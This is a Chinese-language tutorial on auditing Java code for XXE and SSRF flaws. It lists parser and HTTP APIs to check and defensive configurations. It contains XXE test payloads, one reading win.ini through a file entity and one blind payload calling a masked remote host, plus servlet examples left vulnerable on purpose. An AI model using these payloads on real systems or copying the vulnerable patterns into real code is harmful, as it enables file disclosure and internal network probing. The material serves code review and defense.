JAVA程式碼審計之XXE與SSRF
一、XXE
0x01 XXE漏洞簡介
XXE(XML外部實體注入,XML External Entity) ,在應用程式解析XML輸入時,當允許引用外部實體時,可構造惡意內容,導致讀取任意檔案、探測內網埠、攻擊內網網站、發起DoS拒絕服務攻擊、執行系統命令等。Java中的XXE支援sun.net.www.protocol 裡的所有協議:http,https,file,ftp,mailto,jar,netdoc。一般利用file協議讀取檔案,利用http協議探測內網,沒有回顯時可組合利用file協議和ftp協議來讀取檔案。
0x02 XXE相關基礎概念
XML&DTD
XML (可擴充套件標記語言,EXtensible Markup Language),是一種標記語言,用來傳輸和儲存資料,而非顯示資料。
DTD(文件型別定義,Document Type Definition)的作用是定義 XML 文件的合法構建模組。它使用一系列的合法元素來定義文件結構。
實體ENTITY
XML中的實體型別,一般有下面幾種:字元實體、命名實體(或內部實體)、外部普通實體、外部引數實體。除外部引數實體外,其它實體都以字元(&)開始,以字元(;)結束。
1)字元實體
字元實體類似html中的實體編碼,形如:a(十進位制)或者a(十六進位制)。
2)命名實體(內部實體)
內部實體又稱為命名實體。命名實體可以說成是變數宣告,命名實體只能宣告在DTD或者XML檔案開始部分(<!DOCTYPE>語句中)。
命名實體(或內部實體)語法:
<!ENTITY 實體名稱 "實體的值">
如:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY x "First Param!"> <!ENTITY y "Second Param!"> ]> <root><x>&x;</x><y>&y;</y></root>
定義一個實體名稱x 值為First Param!
&x; 引用實體x
3)外部普通實體
外部實體用於載入外部檔案的內容。(顯式XXE攻擊主要利用外部普通實體)
外部普通實體語法:
<!ENTITY 實體名稱 SYSTEM "URI/URL">
如:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPe root [ <!ENTITY outfile SYSTEM "outfile.xml"> ]> <root><outfile>&outfile;</outfile></root>
4)外部引數實體
引數實體用於DTD和文件的內部子集中。與一般實體不同,是以字元(%)開始,以字元(;)結束。只有在DTD檔案中才能在引數實體宣告的時候引用其他實體。(Blind XXE攻擊常利用引數實體進行資料回顯)
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % param1 "Hello"> <!ENTITY % param2 " "> <!ENTITY % param3 "World"> <!ENTITY dtd SYSTEM "combine.dtd"> %dtd; ]> <root><foo>&content</foo></root>
combine.dtd中的內容為:
<!ENTITY content "%param1;%param2;%param3;">
上面combine.dtd中定義了一個基本實體,引用了3個引數實體:%param1;,%param2;,%param3;。
解析後<foo>...</foo>中的內容為Hello World。
0x03 XXE審計函式
XML解析一般在匯入配置、資料傳輸介面等場景可能會用到,涉及到XML檔案處理的場景可檢視XML解析器是否禁用外部實體,從而判斷是否存在XXE。部分XML解析介面如下:
javax.xml.parsers.DocumentBuilderFactory; javax.xml.parsers.SAXParser javax.xml.transform.TransformerFactory javax.xml.validation.Validator javax.xml.validation.SchemaFactory javax.xml.transform.sax.SAXTransformerFactory javax.xml.transform.sax.SAXSource org.xml.sax.XMLReader org.xml.sax.helpers.XMLReaderFactory org.dom4j.io.SAXReader org.jdom.input.SAXBuilder org.jdom2.input.SAXBuilder javax.xml.bind.Unmarshaller javax.xml.xpath.XpathExpression javax.xml.stream.XMLStreamReader org.apache.commons.digester3.Digester …………
0x04 常用測試POC
POC1-外部普通實體
當有回顯時,利用ftp協議來讀取檔案
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE lltest[ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]> <user><username>&xxe;</username><password>123456</password></user>
POC2-外部引數實體
無回顯時 利用http協議來發起請求
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note[ <!ENTITY % lltest SYSTEM "http://***.***.***.***:7777/lltest_xxe666"> %lltest; ]>
0X05 XXE漏洞程式碼示例
解析XML的方法越來越多,常見有四種,即:DOM、DOM4J、JDOM 和SAX。下面以這四種為例展示XXE漏洞。
1) DOM Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String result=""; try { //DOM Read XML DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(request.getInputStream()); String username = getValueByTagName(doc,"username"); String password = getValueByTagName(doc,"password"); if(username.equals(USERNAME) && password.equals(PASSWORD)){ result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username); }else{ result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username); } } catch (ParserConfigurationException e) { e.printStackTrace(); result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage()); } catch (SAXException e) { e.printStackTrace(); result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage()); } response.setContentType("text/xml;charset=UTF-8"); response.getWriter().append(result); }
2) DOM4J Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String result=""; try { //DOM4J Read XML SAXReader saxReader = new SAXReader(); Document document = saxReader.read(request.getInputStream()); String username = getValueByTagName2(document,"username"); String password = getValueByTagName2(document,"password"); if(username.equals(USERNAME) && password.equals(PASSWORD)){ result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username); }else{ result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username); } } catch (DocumentExceptione) { System.out.println(e.getMessage()); } response.setContentType("text/xml;charset=UTF-8"); response.getWriter().append(result); }
3) JDOM2 Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String result=""; try { //JDOM2 Read XML SAXBuilder builder = new SAXBuilder(); Document document = builder.build(request.getInputStream()); String username = getValueByTagName3(document,"username"); String password = getValueByTagName3(document,"password"); if(username.equals(USERNAME) && password.equals(PASSWORD)){ result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username); }else{ result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username); } } catch (JDOMExceptione) { System.out.println(e.getMessage()); } response.setContentType("text/xml;charset=UTF-8"); response.getWriter().append(result); }
4) SAX Read XML
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { //https://blog.csdn.net/u011024652/article/details/51516220 String result=""; try { //SAX Read XML SAXParserFactory factory= SAXParserFactory.newInstance(); SAXParser saxparser = factory.newSAXParser(); SAXHandler handler = new SAXHandler(); saxparser.parse(request.getInputStream(), handler); //為簡單,沒有提取子元素中的資料,只要呼叫parse()解析xml就已經觸發xxe漏洞了 //沒有回顯blind xxe result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,1); } catch (ParserConfigurationException e) { e.printStackTrace(); result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage()); } catch (SAXException e) { e.printStackTrace(); result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage()); } response.setContentType("text/xml;charset=UTF-8"); response.getWriter().append(result); }
0x06 XXE漏洞防禦
使用XML解析器時需要設定其屬性,禁用DTDs或者禁止使用外部實體。
以上例中DOM - DocumentBuilderFactory為例,防禦程式碼如下:
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //禁用DTDs (doctypes),幾乎可以防禦所有xml實體攻擊 //如果不能禁用DTDs,可以使用下兩項,必須兩項同時存在 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);//防止外部普通實體POC 攻擊 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);//防止外部引數實體POC攻擊

其它XML解析器的漏洞防禦可參考
ofollow,noindex">https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java上述XXE漏洞與防禦完整示例程式碼 已上傳Github 詳見 https://github.com/pplsec/JavaVul/tree/master/MyXXE
二、SSRF
0x01 SSRF漏洞簡介
SSRF(Server-Side Request Forge, 服務端請求偽造),攻擊者讓服務端發起指定的請求,SSRF攻擊的目標一般是從外網無法訪問的內網系統。Java中的SSRF支援sun.net.www.protocol 裡的所有協議:http,https,file,ftp,mailto,jar,netdoc。相對於php,在java中SSRF的利用侷限較大,一般利用http協議來探測埠,利用file協議讀取任意檔案。
0x02 SSRF審計函式
SSRF漏洞一般位於遠端圖片載入與下載、圖片或文章收藏功能、URL分享、通過URL線上翻譯、轉碼等功能點處。
程式碼審計時需要關注的發起HTTP請求的類及函式,部分如下:
HttpURLConnection. getInputStream URLConnection. getInputStream Request.Get. execute Request.Post. execute URL.openStream ImageIO.read OkHttpClient.newCall.execute HttpClients. execute HttpClient.execute ……
0x03 SSRF漏洞程式碼示例
1) HttpURLConnection
//HttpURLConnection ssrf vul String url = request.getParameter("url"); URL u = new URL(url); URLConnection urlConnection = u.openConnection(); HttpURLConnection httpUrl = (HttpURLConnection)urlConnection; BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //發起請求,觸發漏洞 String inputLine; StringBuffer html = new StringBuffer(); while ((inputLine = in.readLine()) != null) { html.append(inputLine); } System.out.println("html:" + html.toString()); in.close();
2) urlConnection
//urlConnection ssrf vul String url = request.getParameter("url"); URL u = new URL(url); URLConnection urlConnection = u.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //發起請求,觸發漏洞 String inputLine; StringBuffer html = new StringBuffer(); while ((inputLine = in.readLine()) != null) { html.append(inputLine); } System.out.println("html:" + html.toString()); in.close();
3) ImageIO
// ImageIO ssrf vul String url = request.getParameter("url"); URL u = new URL(url); BufferedImage img = ImageIO.read(u); // 發起請求,觸發漏洞
4) 其他
// Request漏洞示例 String url = request.getParameter("url"); return Request.Get(url).execute().returnContent().toString();//發起請求 // openStream漏洞示例 String url = request.getParameter("url"); URL u = new URL(url); inputStream = u.openStream();//發起請求 // OkHttpClient漏洞示例 String url = request.getParameter("url"); OkHttpClient client = new OkHttpClient(); com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); client.newCall(ok_http).execute();//發起請求 // HttpClients漏洞示例 String url = request.getParameter("url"); CloseableHttpClient client = HttpClients.createDefault(); HttpGet httpGet = new HttpGet(url); HttpResponse httpResponse = client.execute(httpGet); //發起請求
0x04 SSRF漏洞防禦
1)限制協議為HTTP、HTTPS協議。
2)禁止30x跳轉。
3)設定URL白名單或者限制內網IP。
4)限制請求的埠為http常用的埠。
以上例中HttpURLConnection為例,防禦程式碼如下:
String url = request.getParameter("url"); if (!SSRFHostCheck(url)) { System.out.println("warning!!! illegal url:" + url); return; } URL u = new URL(url); URLConnection urlConnection = u.openConnection(); HttpURLConnection httpUrl = (HttpURLConnection)urlConnection; httpUrl.setInstanceFollowRedirects(false); //禁止30x跳轉 BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request …………………… public static Boolean SSRFHostCheck(String url) { try { URL u = new URL(url); // 限制為http和https協議 if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { String uProtocol = u.getProtocol(); System.out.println("illegal Protocol:" + uProtocol); returnfalse; } // 獲取域名或IP,並轉為小寫 String host = u.getHost().toLowerCase(); String hostwhitelist = "192.168.199.209";//白名單 if (host.equals(hostwhitelist)) { System.out.println("ok_host:" + host); return true; } else { System.out.println("illegal host:" + host); return false; } } catch (Exception e) { return false; } }
上述SSRF漏洞與防禦完整示例程式碼 已上傳Github 詳見 https://github.com/pplsec/JavaVul/tree/master/MySSRF